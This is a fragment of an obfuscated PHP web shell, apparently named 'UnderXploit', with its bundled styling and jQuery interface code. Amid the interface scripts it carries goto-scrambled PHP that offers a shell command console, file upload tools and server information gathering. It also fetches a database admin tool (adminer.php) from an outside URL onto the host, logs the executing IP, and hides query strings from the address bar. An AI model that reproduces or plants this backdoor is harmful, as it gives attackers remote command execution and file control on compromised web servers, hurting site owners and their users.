0 rgba(0,0,0,.14)}.notifit_confirm_bg,.notifit_prompt_bg{position:fixed;top:0;left:0;height:100%;width:100%;background-color:rgba(255,255,255,.1)}.notifit_confirm *,.notifit_prompt *{font-family:"Play"}.notifit_confirm,.notifit_prompt{position:fixed;top:0;left:0;padding:30px 30px 0 30px;background-color:#1D9D73;border:1px solid rgba(0,0,0,.1);-webkit-border-radius:5px;-moz-border-radius:5px;-ms-border-radius:5px;-o-border-radius:5px;border-radius:5px;-webkit-box-shadow:0 2px 10px rgba(0,0,0,.2);box-shadow:0 2px 10px rgba(0,0,0,.2)}.hljs{display:block;overflow-x:auto;font-size:13px;padding:.5em;background:#222;color:#e6e1dc}.hljs-comment,.hljs-quote{color:#bc9458;font-style:italic}.hljs-keyword,.hljs-selector-tag{color:#c26230}.hljs-string,.hljs-number,.hljs-regexp,.hljs-variable,.hljs-template-variable{color:#1D9D73}.hljs-subst{color:#519f50}.hljs-tag,.hljs-name{color:#e8bf6a}.hljs-type{color:#da4939}.hljs-symbol,.hljs-bullet,.hljs-built_in,.hljs-builtin-name,.hljs-attr,.hljs-link{color:#6d9cbe}.hljs-params{color:#d0d0ff}.hljs-attribute{color:#cda869}.hljs-meta{color:#9b859d}.hljs-title,.hljs-section{color:#ffc66d}.hljs-addition{background-color:#144212;color:#e6e1dc;display:inline-block;width:100%}.hljs-deletion{background-color:#600;color:#e6e1dc;display:inline-block;width:100%}.hljs-selector-class{color:#9b703f}.hljs-selector-id{color:#8b98ab}.hljs-emphasis{font-style:italic}.hljs-strong{font-weight:700}.hljs-link{text-decoration:underline}::selection{background-color:#1D9D73;color:#fff}.linedwrap{border:1px solid #343436;padding:3px;padding-right:0;margin-top:5px}#paksa{padding:0 2px 0 2px}.linedtextarea{padding:0;margin:0}.linedtextarea,.linedwrap .codelines .lineno{font-size:13px;font-family:"Play";line-height:normal!important}.linedwrap .lines{margin-top:1px;width:45px;float:left;overflow:hidden;border-right:1px solid #1D9D73;margin-right:5px}.linedwrap .codelines{padding-top:6px}.linedwrap .codelines .lineno{color:#AAA;padding-right:5px;padding-top:0em;text-align:right;white-space:nowrap;font-family:"Play"}.linedwrap .codelines .lineselect{color:#1D9D73}.tool-container,.tool-item,.btn-toolbar{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}.btn-toolbar{background:#1D9D73;width:20px;height:20px;text-align:center;padding:7px;border-radius:4px;display:block;transition:none}.btn-toolbar>i{color:#02baf2;font-size:16px}.btn-toolbar:hover{background:#02baf2;cursor:pointer}.btn-toolbar:hover>i{color:white}.btn-toolbar-dark{background-color:#1D9D73}.btn-toolbar-dark.pressed{background-color:#5e696d}.btn-toolbar-dark:hover{background-color:#5e696d}.btn-toolbar-dark>i{color:white}.tool-container{background-color:#5e696d;background-size:100% 100%;border-radius:4px;position:absolute}.tool-container.tool-top,.tool-container.tool-bottom{height:34px;border-bottom:0 solid #beb8b8}.tool-container.tool-top .tool-item,.tool-container.tool-bottom .tool-item{float:left;border-right:0;border-left:0}.tool-item{height:100%;display:block;width:20px;height:20px;text-align:center;padding:7px;transition:none}.tool-item>.zmdi{color:#b2c6cd;font-size:15px;margin-top:3px}.tool-item.selected,.tool-item:hover{background:#02baf2}.tool-item.selected>.zmdi,.tool-item:hover>.zmdi{color:white}.tool-top .tool-item:first-child:hover,.tool-bottom .tool-item:first-child:hover{border-top-left-radius:4px;border-bottom-left-radius:4px}.tool-top .tool-item:last-child:hover,.tool-bottom .tool-item:last-child:hover{border-top-right-radius:4px;border-bottom-right-radius:4px}.tool-vertical-top .tool-item:first-child:hover,.tool-vertical-bottom .tool-item:first-child:hover,.tool-right .tool-item:first-child:hover,.tool-left .tool-item:first-child:hover{border-top-left-radius:4px;border-top-right-radius:4px}.tool-vertical-top .tool-item:last-child:hover,.tool-vertical-bottom .tool-item:last-child:hover,.tool-right .tool-item:last-child:hover,.tool-left .tool-item:last-child:hover{border-bottom-left-radius:4px;border-bottom-right-radius:4px}.tool-container .arrow{width:0;height:0;position:absolute;border-width:7px;border-style:solid}.tool-container.tool-top .arrow{border-color:#5e696d transparent transparent;left:50%;bottom:-14px;margin-left:-7px}.tool-container.tool-bottom .arrow{border-color:transparent transparent #5e696d;left:50%;top:-14px;margin-left:-7px}.tool-container.tool-left .arrow{border-color:transparent transparent transparent #5e696d;top:50%;right:-14px;margin-top:-7px}.tool-container.tool-right .arrow{border-color:transparent #5e696d transparent transparent;top:50%;left:-14px;margin-top:-7px}.toolbar-dark{background-color:#1D9D73}.toolbar-dark.tool-top .arrow{border-color:#1D9D73 transparent transparent}.toolbar-dark.tool-bottom .arrow{border-color:transparent transparent #1D9D73}.toolbar-dark.tool-left .arrow{border-color:transparent transparent transparent #1D9D73}.toolbar-dark.tool-right .arrow{border-color:transparent #1D9D73 transparent transparent}.toolbar-dark .tool-item>.zmdi{color:white}.toolbar-dark .tool-item.selected,.toolbar-dark .tool-item:hover{background:#343436;color:white}.animate-standard{-webkit-animation:standardAnimate 0.3s 1 ease}.animate-flyin{-webkit-animation:rotateAnimate 0.5s 1 ease}.animate-grow{-webkit-animation:growAnimate 0.4s 1 ease}.animate-flip{-webkit-animation:flipAnimate 0.4s 1 ease}.animate-bounce{-webkit-animation:bounceAnimate 0.4s 1 ease-out}@-webkit-keyframes rotateAnimate{from{transform:rotate(180deg) translate(-120px);opacity:0}to{transform:rotate(0deg) translate(0);opacity:1}}@-webkit-keyframes standardAnimate{from{transform:translateY(20px);opacity:0}to{transform:translateY(0);opacity:1}}@-webkit-keyframes growAnimate{0%{transform:scale(0) translateY(40px);opacity:0}70%{transform:scale(1.5) translate(0)}100%{transform:scale(1) translate(0);opacity:1}}@-webkit-keyframes rotate2Animate{from{transform:rotate(-90deg);transform-origin:0% 100%;opacity:0}to{transform:rotate(0deg);opacity:1}}@-webkit-keyframes flipAnimate{from{transform:rotate3d(2,2,2,180deg);opacity:0}to{transform:rotate3d(0,0,0,0deg);opacity:1}}@-webkit-keyframes bounceAnimate{0%{transform:translateY(40px);opacity:0}30%{transform:translateY(-40px)}70%{transform:translateY(20px)}100%{transform:translateY(0);opacity:1}}.hidden{display:none}
</style>

	<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.js"></script>
    <script src="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.12.0/highlight.min.js"></script>\xa\x9<script type="text/javascript">    \x9\xaif ( typeof Object.create !== 'function' ) {
    Object.create = function( obj ) {\xa        function F() {}
        F.prototype = obj;
        return new F();\xa    };\xa}
\xa(function( $, window, document, undefined ) {\xa\xa    var ToolBar = {
        init: function( options, elem ) {
            var self = this;\xa            self.elem = elem;\xa            self.$elem = $( elem );\xa            self.options = $.extend( {}, $.fn.toolbar.options, options );\xa            self.metadata = self.$elem.data();
            self.overrideOptions();\xa            self.toolbar = $('<div class="tool-container" />')
                .addClass('tool-'+self.options.position)\xa                .addClass('toolbar-'+self.options.style)
                .append('<div class="tool-items" />')
                .append('<div class="arrow" />')\xa                .appendTo('body')
                .css('opacity', 0)
                .hide();
            self.toolbar_arrow = self.toolbar.find('.arrow');
            self.initializeToolbar();\xa        },\xa\xa        overrideOptions: function() {
            var self = this;\xa            $.each( self.options, function( $option ) {\xa                if (typeof(self.$elem.data('toolbar-'+$option)) != "undefined") {\xa                    self.options[$option] = self.$elem.data('toolbar-'+$option);\xa                }\xa            });
        },\xa\xa        initializeToolbar: function() {
            var self = this;\xa            self.populateContent();
            self.setTrigger();\xa            self.toolbarWidth = self.toolbar.width();
        },
\xa        setTrigger: function() {
            var self = this;
\xa            if (self.options.event != 'click') {\xa\xa                var moveTime;
                function decideTimeout () {
                    if (self.$elem.hasClass('pressed')) {
                        moveTime = setTimeout(function() {\xa                            self.hide();
                        }, 150);
                    } else {
                        clearTimeout(moveTime);
                    };
                };\xa\xa                self.$elem.on({\xa                    mouseenter: function(event) {\xa                        if (self.$elem.hasClass('pressed')) {\xa                            clearTimeout(moveTime);\xa                        } else {\xa                            self.show();
                        }\xa                    }
                });\xa
                self.$elem.parent().on({
                    mouseleave: function(event){ decideTimeout(); }
                });
\xa                $('.tool-container').on({
                    mouseenter: function(event){ clearTimeout(moveTime); },\xa                    mouseleave: function(event){ decideTimeout(); }\xa                });
            }
\xa            if (self.options.event == 'click') {
                self.$elem.on('click', function(event) {\xa                    event.preventDefault();\xa                    if(self.$elem.hasClass('pressed')) {
                        self.hide();
                    } else {\xa                        self.show();\xa                    }\xa                });\xa\xa                if (self.options.hideOnClick) {\xa                    $('html').on("click.toolbar", function ( event ) {
                        if (event.target != self.elem &&
                            self.$elem.has(event.target).length === 0 &&
                            self.toolbar.has(event.target).length === 0 &&
                            self.toolbar.is(":visible")) {\xa                            self.hide();\xa                        }
                    });
                }\xa            }

            if (self.options.hover) {\xa                var moveTime;
\xa                function decideTimeout () {\xa                    if (self.$elem.hasClass('pressed')) {
                        moveTime = setTimeout(function() {\xa                            self.hide();\xa                        }, 150);\xa                    } else {\xa                        clearTimeout(moveTime);
                    };\xa                };
\xa                self.$elem.on({\xa                    mouseenter: function(event) {
                        if (self.$elem.hasClass('pressed')) {\xa                            clearTimeout(moveTime);\xa                        } else {\xa                            self.show();\xa                        }\xa                    }
                });

                self.$elem.parent().on({\xa                    mouseleave: function(event){ decideTimeout(); }
                });

                $('.tool-container').on({\xa                    mouseenter: function(event){ clearTimeout(moveTime); },\xa                    mouseleave: function(event){ decideTimeout(); }\xa                });
            }\xa
            $(window).resize(function( event ) {\xa                event.stopPropagation();
                if ( self.toolbar.is(":visible") ) {
                    self.toolbarCss = self.getCoordinates(self.options.position, 20);
                    self.collisionDetection();
                    self.toolbar.css( self.toolbarCss );
                    self.toolbar_arrow.css( self.arrowCss );
                }\xa            });
        },

        populateContent: function() {\xa            var self = this;\xa            var location = self.toolbar.find('.tool-items');\xa            var content = $(self.options.content).clone( true ).find('a').addClass('tool-item');
            location.html(content);\xa            location.find('.tool-item').on('click', function(event) {
                event.preventDefault();
                self.$elem.trigger('toolbarItemClick', this);
            });
        },

        calculatePosition: function() {\xa            var self = this;\xa                self.arrowCss = {};\xa                self.toolbarCss = self.getCoordinates(self.options.position, self.options.adjustment);\xa                self.toolbarCss.position = 'absolute';\xa                self.toolbarCss.zIndex = self.options.zIndex;\xa                self.collisionDetection();
                self.toolbar.css(self.toolbarCss);
                self.toolbar_arrow.css(self.arrowCss);\xa        },
\xa        getCoordinates: function( position, adjustment ) {\xa            var self = this;\xa            self.coordinates = self.$elem.offset();

            if (self.options.adjustment && self.options.adjustment[self.options.position]) {
                adjustment = self.options.adjustment[self.options.position] + adjustment;
            }\xa
            switch(self.options.position) {\xa                case 'top':
                    return {\xa                        left: self.coordinates.left-(self.toolbar.width()/2)+(self.$elem.outerWidth()/2),
                        top: self.coordinates.top-self.$elem.outerHeight()-adjustment,
                        right: 'auto'
                    };\xa                case 'left':
                    return {
                        left: self.coordinates.left-(self.toolbar.width()/2)-(self.$elem.outerWidth()/2)-adjustment,
                        top: self.coordinates.top-(self.toolbar.height()/2)+(self.$elem.outerHeight()/2),
                        right: 'auto'
                    };\xa                case 'right':
                    return {\xa                        left: self.coordinates.left+(self.toolbar.width()/2)+(self.$elem.outerWidth()/2)+adjustment,
                        top: self.coordinates.top-(self.toolbar.height()/2)+(self.$elem.outerHeight()/2),\xa                        right: 'auto'\xa                    };\xa                case 'bottom':\xa                    return {\xa                        left: self.coordinates.left-(self.toolbar.width()/2)+(self.$elem.outerWidth()/2),
                        top: self.coordinates.top+self.$elem.outerHeight()+adjustment,\xa                        right: 'auto'\xa                    };
            }\xa        },

        collisionDetection: function() {
            var self = this;\xa            var edgeOffset = 20;\xa            if(self.options.position == 'top' || self.options.position == 'bottom') {
                self.arrowCss = {left: '50%', right: '50%'};
                if( self.toolbarCss.left < edgeOffset ) {
                    self.toolbarCss.left = edgeOffset;\xa                    self.arrowCss.left = self.$elem.offset().left + self.$elem.width()/2-(edgeOffset);
                }
                else if(($(window).width() - (self.toolbarCss.left + self.toolbarWidth)) < edgeOffset) {
                    self.toolbarCss.right = edgeOffset;
                    self.toolbarCss.left = 'auto';
                    self.arrowCss.left = 'auto';\xa                    self.arrowCss.right = ($(window).width()-self.$elem.offset().left)-(self.$elem.width()/2)-(edgeOffset)-5;\xa                }\xa            }
        },\xa\xa        show: function() {
            var self = this;\xa            self.$elem.addClass('pressed');
            self.calculatePosition();\xa            self.toolbar.show().css({'opacity': 1}).addClass('animate-'+self.options.animation);
            self.$elem.trigger('toolbarShown');
        },\xa\xa        hide: function() {\xa            var self = this;
            var animation = {'opacity': 0};
\xa            self.$elem.removeClass('pressed');\xa
            switch(self.options.position) {\xa                case 'top':\xa                    animation.top = '+=20';
                    break;
                case 'left':\xa                    animation.left = '+=20';
                    break;\xa                case 'right':\xa                    animation.left = '-=20';\xa                    break;
                case 'bottom':\xa                    animation.top = '-=20';
                    break;\xa            }
\xa            self.toolbar.animate(animation, 200, function() {
                self.toolbar.hide();
            });
\xa            self.$elem.trigger('toolbarHidden');
        },

        getToolbarElement: function () {
            return this.toolbar.find('.tool-items');\xa        }\xa    };
\xa    $.fn.toolbar = function( options ) {
        if ($.isPlainObject( options )) {
            return this.each(function() {
                var toolbarObj = Object.create( ToolBar );\xa                toolbarObj.init( options, this );
                $(this).data('toolbarObj', toolbarObj);
            });
        } else if ( typeof options === 'string' && options.indexOf('_') !== 0 ) {\xa            var toolbarObj = $(this).data('toolbarObj');\xa            var method = toolbarObj[options];
            return method.apply(toolbarObj, $.makeArray(arguments).slice(1));
        }\xa    };

    $.fn.toolbar.options = {\xa        content: '#myContent',
        position: 'top',\xa        hideOnClick: false,\xa        zIndex: 120,
        hover: false,
        style: 'default',\xa        animation: 'standard',
        adjustment: 10
    };
\xa}) ( jQuery, window, document );\xa</script>\xa<script type="text/javascript"> baseUrl = window.location.href.split("?")[0]; window.history.pushState("name", "?", baseUrl);</script>\xa<script type="text/javascript"> var to,width,height,position,autohide,opacity;function notifit_setDefaultValues(){width=400;height=60;position="right";autohide=!0;msg="";opacity=1} function notif(config){notifit_setDefaultValues();if(config.position){if(config.position=="center"||config.position=="left"||config.position=="right"){position=config.position}} if(config.width){if(config.width>0){width=config.width}else if(config.width==="all"){width=screen.width-60}} if(config.height){if(config.height<100&&config.height>0){height=config.height}} if(typeof config.autohide!=="undefined") autohide=config.autohide;var div="<div id='ui_notifIt'><p>"+((config.msg)?config.msg:"")+"</p></div>";$("#ui_notifIt").remove();clearInterval(to);$("body").append(div);$("#ui_notifIt").css("height",height);$("#ui_notifIt").css("width",width);switch(position){case "center":$("#ui_notifIt").css("top",parseInt(0-(height+10)));break;case "right":$("#ui_notifIt").css("right",parseInt(0-(width+10)));break;case "left":$("#ui_notifIt").css("left",parseInt(0-(width+10)));break;default:$("#ui_notifIt").css("right",parseInt(0-(width+10)));break} if(config.opacity){$("#ui_notifIt").css("opacity",config.opacity)} switch(config.type){case "error":$("#ui_notifIt").addClass("error");break;case "success":$("#ui_notifIt").addClass("success");break;case "info":$("#ui_notifIt").addClass("info");break;case "warning":$("#ui_notifIt").addClass("warning");break;default:$("#ui_notifIt").addClass("default");break} switch(position){case "left":$("#ui_notifIt").css("left",parseInt(0-(width*2)));break;case "right":$("#ui_notifIt").css("right",parseInt(0-(width*2)));break;case "center":var mid=window.innerWidth/2;$("#ui_notifIt").css("left",mid-parseInt(width/2));break;default:var mid=window.innerWidth/2;$("#ui_notifIt").css("left",mid-parseInt(width/2));break} $("#ui_notifIt p").css("line-height",height+"px");switch(position){case "center":$("#ui_notifIt").animate({top:10});break;case "right":$("#ui_notifIt").animate({right:10});break;case "left":$("#ui_notifIt").animate({left:10});break;default:$("#ui_notifIt").animate({right:10});break} $("#ui_notifIt").click(function(){notifit_dismiss()});if(autohide==!0) to=setTimeout(function(){notifit_dismiss()},5000)} function notifit_dismiss(){clearInterval(to);if(position=="center"){$("#ui_notifIt").animate({top:parseInt(height-(height/2))},100,function(){$("#ui_notifIt").animate({top:parseInt(0-(height*2))},100,function(){$("#ui_notifIt").remove()})})}else if(position=="right"){$("#ui_notifIt").animate({right:parseFloat(width-(width*0.9))},100,function(){$("#ui_notifIt").animate({right:parseInt(0-(width*2))},100,function(){$("#ui_notifIt").remove()})})}else if(position=="left"){$("#ui_notifIt").animate({left:parseFloat(width-(width*0.9))},100,function(){$("#ui_notifIt").animate({left:parseInt(0-(width*2))},100,function(){$("#ui_notifIt").remove()})})} notifit_setDefaultValues()}</script>\xa<script type="text/javascript">\xa  (function($) {\xa    $.fn.linedtextarea = function(options) {
        var opts = $.extend({}, $.fn.linedtextarea.defaults, options);\xa        var fillOutLines = function(codeLines, h, lineNo) {\xa            while ((codeLines.height() - h) <= 0) {\xa                if (lineNo == opts.selectedLine)
                    codeLines.append("<div class='lineno lineselect'>" + lineNo + "</div>");\xa                else codeLines.append("<div class='lineno'>" + lineNo + "</div>");
                lineNo++\xa            }
            return lineNo
        };\xa        return this.each(function() {
            var lineNo = 1;\xa            var textarea = $(this);
            textarea.attr("wrap", "off");
            textarea.css({
                resize: 'none'
            });\xa            var originalTextAreaWidth = textarea.outerWidth();
            textarea.wrap("<div class='linedtextarea'></div>");\xa            var linedTextAreaDiv = textarea.parent().wrap("<div class='linedwrap' style='width:" + originalTextAreaWidth + "px'></div>");
            var linedWrapDiv = linedTextAreaDiv.parent();
            linedWrapDiv.prepend("<div class='lines' style='width:39px'></div>");\xa            var linesDiv = linedWrapDiv.find(".lines");\xa            linesDiv.height(textarea.height() + 6);\xa            linesDiv.append("<div class='codelines'></div>");\xa            var codeLinesDiv = linesDiv.find(".codelines");
            lineNo = fillOutLines(codeLinesDiv, linesDiv.height(), 1);\xa            if (opts.selectedLine != -1 && !isNaN(opts.selectedLine)) {
                var fontSize = parseInt(textarea.height() / (lineNo - 2));
                var position = parseInt(fontSize * opts.selectedLine) - (textarea.height() / 2);
                textarea[0].scrollTop = position\xa            }\xa            var sidebarWidth = linesDiv.outerWidth();
            var paddingHorizontal = parseInt(linedWrapDiv.css("border-left-width")) + parseInt(linedWrapDiv.css("border-right-width")) + parseInt(linedWrapDiv.css("padding-left")) + parseInt(linedWrapDiv.css("padding-right"));\xa            var linedWrapDivNewWidth = originalTextAreaWidth - paddingHorizontal;\xa            var textareaNewWidth = originalTextAreaWidth - sidebarWidth - paddingHorizontal - 20;
            textarea.width(textareaNewWidth);
            linedWrapDiv.width(linedWrapDivNewWidth);
            textarea.scroll(function(tn) {\xa                var domTextArea = $(this)[0];
                var scrollTop = domTextArea.scrollTop;\xa                var clientHeight = domTextArea.clientHeight;\xa                codeLinesDiv.css({
                    'margin-top': (-1 * scrollTop) + "px"
                });
                lineNo = fillOutLines(codeLinesDiv, scrollTop + clientHeight, lineNo)
            });
            textarea.resize(function(tn) {\xa                var domTextArea = $(this)[0];
                linesDiv.height(domTextArea.clientHeight + 6)\xa            })\xa        })\xa    };
    $.fn.linedtextarea.defaults = {\xa        selectedLine: -1,\xa        selectedClass: 'lineselect'
    }\xa})(jQuery) </script>"; goto yW1ta; zOr2h: print "<table class="ex-hov"><td class="td-tools-left"><i class="zmdi zmdi-chart-donut zmdi-hc-fw"></i></td><td class="td-tools-content">Multiple Upload</td><td class="td-tools-icon"><a onclick='c("?" . x7 . "upload&" . x5 . $dir . "")'><button class="btn-exe"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></a></td></table>"; goto W9jkc; N4Gnl: print "return false;\xa		} document.getElementById("%").submit();
} </script>
<table>
    <td align="center" valign="top" style="width:10%;padding-top:11px"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
    <td style="width:70%">\xa        <form enctype="multipart/form-data" action="?" . x5 . $dir . "" method="POST"><input type="file" name="data" id="up"></td>\xa    <td style="width:20%" valign="top"><button type="submit" class="btn-exe" style="margin-top:1px" onclick="upload();return false;"><i class="zmdi zmdi-long-arrow-right zmdi-hc-fw"></i></button></form>\xa    </td>
</table>"; goto KEUqO; upebD: $_UNDERXPLOIT = array_merge($_POST, $_GET); goto MLFuV; kG5cS: print "return false;\xa\x9} document.getElementById("exzip").submit();
} </script>"; goto o_Vxs; oPmsG: $linkcr = "Link: " . $_SERVER["SERVER_NAME"] . '' . $_SERVER["REQUEST_URI"] . " - IP Excuting: {$ip_remote} - Time: {$time_shell}"; goto PafL_; PTfas: @set_time_limit(0); goto DUuVP; MLFuV: $_UNDERXPLOIT = array_map("xp", $_UNDERXPLOIT); goto K_NZz; xZ9I_: print "<script type="text/javascript"> function upload(){
\x9if(document.getElementById("up").value == ""){"; goto sXEo3; MomEi: $scdir = explode("/", $dir); goto oIMDs; E6N3w: @define("x9", "<div class='coL-option top'><br><br><br><center><i class='zmdi zmdi-alert-circle-o zmdi-hc-fw zmdi-hc-4x'></i><br><br>[ BAD REQUEST ]</center><br><br><br><br></div></div>", true); goto tnDK6; yB4Ow: print "return false;
\x9} document.getElementById("exc").submit();
} </script>
<table style="margin-top:15px"><form method="POST" action="?" . x7 . "cmd&" . x5 . $dir . "">\xa\x9<td align="center" style="width:10%"><i class="zmdi zmdi-chevron-right zmdi-hc-fw"></i></td>
\x9<td style="width:70%"><input type="text" placeholder="$" name="cmd" id="cnsl"></td><td style="width:20%;text-align:right"><button type="submit" class="btn-exe" id="exc" onclick="gv();return false;"><i class="zmdi zmdi-long-arrow-return zmdi-hc-fw"></i></button></form></td>
	</table>\xa</div>

<div class="coR-panel top"><table><td class="td-panel"><center><div class="loader"></div></center></td><td class="td-panel-right">MENU</td></table></div>"; goto NWXJB; TSd7b: $EL_MuHaMMeD .= "Server isletim sistemi : " . $_SERVER["SERVER_SOFTWARE"] . "
"; goto ZVq1H; DUuVP: @clearstatcache(); goto HDQEU; LJMhL: switch ($_UNDERXPLOIT["op"]) { case "1": switch (true) { case op("adminer.php", "https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php"): mtr("?" . x5 . $dir); bacot("File created successfully"); break; default: bacot("Failed to create file"); } } goto R9Rks; R9Rks: print "<div class="tools-content top" style="padding:5px">"; goto sqNVX; oIMDs: function cl($str) { $qos = strtolower(ini_get("magic_quotes_sybase")); switch (true) { case function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc(): case is_array($str): foreach ($str as $k => $v) { switch (true) { case is_array($v): $str[$k] = cl($v); break; default: $str[$k] = empty($qos) || $qos === "off" ? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)); } } break; } return $str; } goto OBRCV; LnDl7: print "<script type="text/javascript">
\x9var pJS = function(tag_id, params) {\xa    var canvas_el = document.querySelector('#' + tag_id + ' > .particles-js-canvas-el');
    this.pJS = {
        canvas: {
            el: canvas_el,\xa            w: canvas_el.offsetWidth,
            h: canvas_el.offsetHeight
        },
        particles: {
            number: {\xa                value: 400,\xa                density: {
                    enable: !0,
                    value_area: 800
                }
            },
            color: {\xa                value: '#fff'
            },\xa            shape: {
                type: 'circle',\xa                stroke: {
                    width: 0,
                    color: '#ff0000'\xa                },\xa                polygon: {\xa                    nb_sides: 5\xa                },
                image: {
                    src: '',\xa                    width: 100,
                    height: 100\xa                }
            },
            opacity: {\xa                value: 1,\xa                random: !1,\xa                anim: {
                    enable: !1,\xa                    speed: 2,
                    opacity_min: 0,
                    sync: !1\xa                }
            },\xa            size: {\xa                value: 20,
                random: !1,
                anim: {\xa                    enable: !1,
                    speed: 20,\xa                    size_min: 0,
                    sync: !1
                }
            },\xa            line_linked: {\xa                enable: !0,
                distance: 100,
                color: '#fff',
                opacity: 1,\xa                width: 1
            },
            move: {
                enable: !0,
                speed: 2,
                direction: 'none',\xa                random: !1,\xa                straight: !1,\xa                out_mode: 'out',\xa                bounce: !1,\xa                attract: {\xa                    enable: !1,
                    rotateX: 3000,\xa                    rotateY: 3000\xa                }
            },\xa            array: []\xa        },
        interactivity: {
            detect_on: 'canvas',
            events: {\xa                onhover: {
                    enable: !0,
                    mode: 'grab'
                },
                onclick: {
                    enable: !0,\xa                    mode: 'push'\xa                },
                resize: !0\xa            },
            modes: {
                grab: {\xa                    distance: 100,\xa                    line_linked: {
                        opacity: 1\xa                    }
                },\xa                bubble: {
                    distance: 200,
                    size: 80,
                    duration: 0.4\xa                },\xa                repulse: {
                    distance: 200,
                    duration: 0.4\xa                },\xa                push: {
                    particles_nb: 4
                },
                remove: {\xa                    particles_nb: 2
                }
            },
            mouse: {}
        },
        retina_detect: !1,
        fn: {\xa            interact: {},
            modes: {},
            vendors: {}
        },
        tmp: {}\xa    };\xa    var pJS = this.pJS;
    if (params) {\xa        Object.deepExtend(pJS, params)
    }\xa    pJS.tmp.obj = {\xa        size_value: pJS.particles.size.value,
        size_anim_speed: pJS.particles.size.anim.speed,\xa        move_speed: pJS.particles.move.speed,\xa        line_linked_distance: pJS.particles.line_linked.distance,
        line_linked_width: pJS.particles.line_linked.width,\xa        mode_grab_distance: pJS.interactivity.modes.grab.distance,\xa        mode_bubble_distance: pJS.interactivity.modes.bubble.distance,\xa        mode_bubble_size: pJS.interactivity.modes.bubble.size,
        mode_repulse_distance: pJS.interactivity.modes.repulse.distance\xa    };
    pJS.fn.retinaInit = function() {
        if (pJS.retina_detect && window.devicePixelRatio > 1) {
            pJS.canvas.pxratio = window.devicePixelRatio;
            pJS.tmp.retina = !0\xa        } else {\xa            pJS.canvas.pxratio = 1;\xa            pJS.tmp.retina = !1
        }\xa        pJS.canvas.w = pJS.canvas.el.offsetWidth * pJS.canvas.pxratio;\xa        pJS.canvas.h = pJS.canvas.el.offsetHeight * pJS.canvas.pxratio;
        pJS.particles.size.value = pJS.tmp.obj.size_value * pJS.canvas.pxratio;
        pJS.particles.size.anim.speed = pJS.tmp.obj.size_anim_speed * pJS.canvas.pxratio;\xa        pJS.particles.move.speed = pJS.tmp.obj.move_speed * pJS.canvas.pxratio;
        pJS.particles.line_linked.distance = pJS.tmp.obj.line_linked_distance * pJS.canvas.pxratio;
        pJS.interactivity.modes.grab.distance = pJS.tmp.obj.mode_grab_distance * pJS.canvas.pxratio;\xa        pJS.interactivity.modes.bubble.distance = pJS.tmp.obj.mode_bubble_distance * pJS.canvas.pxratio;
        pJS.particles.line_linked.width = pJS.tmp.obj.line_linked_width * pJS.canvas.pxratio;\xa        pJS.interactivity.modes.bubble.size = pJS.tmp.obj.mode_bubble_size * pJS.canvas.pxratio;\xa        pJS.interactivity.modes.repulse.distance = pJS.tmp.obj.mode_repulse_distance * pJS.canvas.pxratio
    };
    pJS.fn.canvasInit = function() {
        pJS.canvas.ctx = pJS.canvas.el.getContext('2d')
    };\xa    pJS.fn.canvasSize = function() {
        pJS.canvas.el.width = pJS.canvas.w;
        pJS.canvas.el.height = pJS.canvas.h;
        if (pJS && pJS.interactivity.events.resize) {
            window.addEventListener('resize', function() {
                pJS.canvas.w = pJS.canvas.el.offsetWidth;\xa                pJS.canvas.h = pJS.canvas.el.offsetHeight;\xa                if (pJS.tmp.retina) {
                    pJS.canvas.w *= pJS.canvas.pxratio;
                    pJS.canvas.h *= pJS.canvas.pxratio
                }
                pJS.canvas.el.width = pJS.canvas.w;
                pJS.canvas.el.height = pJS.canvas.h;\xa                if (!pJS.particles.move.enable) {\xa                    pJS.fn.particlesEmpty();\xa                    pJS.fn.particlesCreate();\xa                    pJS.fn.particlesDraw();\xa                    pJS.fn.vendors.densityAutoParticles()\xa                }\xa                pJS.fn.vendors.densityAutoParticles()
            })\xa        }\xa    };
    pJS.fn.canvasPaint = function() {\xa        pJS.canvas.ctx.fillRect(0, 0, pJS.canvas.w, pJS.canvas.h)\xa    };
    pJS.fn.canvasClear = function() {\xa        pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h)\xa    };\xa    pJS.fn.particle = function(color, opacity, position) {
        this.radius = (pJS.particles.size.random ? Math.random() : 1) * pJS.particles.size.value;\xa        if (pJS.particles.size.anim.enable) {\xa            this.size_status = !1;\xa            this.vs = pJS.particles.size.anim.speed / 100;
            if (!pJS.particles.size.anim.sync) {
                this.vs = this.vs * Math.random()
            }\xa        }
        this.x = position ? position.x : Math.random() * pJS.canvas.w;\xa        this.y = position ? position.y : Math.random() * pJS.canvas.h;
        if (this.x > pJS.canvas.w - this.radius * 2) this.x = this.x - this.radius;\xa        else if (this.x < this.radius * 2) this.x = this.x + this.radius;
        if (this.y > pJS.canvas.h - this.radius * 2) this.y = this.y - this.radius;
        else if (this.y < this.radius * 2) this.y = this.y + this.radius;
        if (pJS.particles.move.bounce) {\xa            pJS.fn.vendors.checkOverlap(this, position)
        }
        this.color = {};\xa        if (typeof(color.value) == 'object') {\xa            if (color.value instanceof Array) {\xa                var color_selected = color.value[Math.floor(Math.random() * pJS.particles.color.value.length)];\xa                this.color.rgb = hexToRgb(color_selected)\xa            } else {\xa                if (color.value.r != undefined && color.value.g != undefined && color.value.b != undefined) {\xa                    this.color.rgb = {\xa                        r: color.value.r,\xa                        g: color.value.g,
                        b: color.value.b\xa                    }\xa                }\xa                if (color.value.h != undefined && color.value.s != undefined && color.value.l != undefined) {\xa                    this.color.hsl = {\xa                        h: color.value.h,
                        s: color.value.s,
                        l: color.value.l\xa                    }\xa                }\xa            }
        } else if (color.value == 'random') {
            this.color.rgb = {
                r: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),\xa                g: (Math.floor(Math.random() * (255 - 0 + 1)) + 0),
                b: (Math.floor(Math.random() * (255 - 0 + 1)) + 0)\xa            }\xa        } else if (typeof(color.value) == 'string') {
            this.color = color;
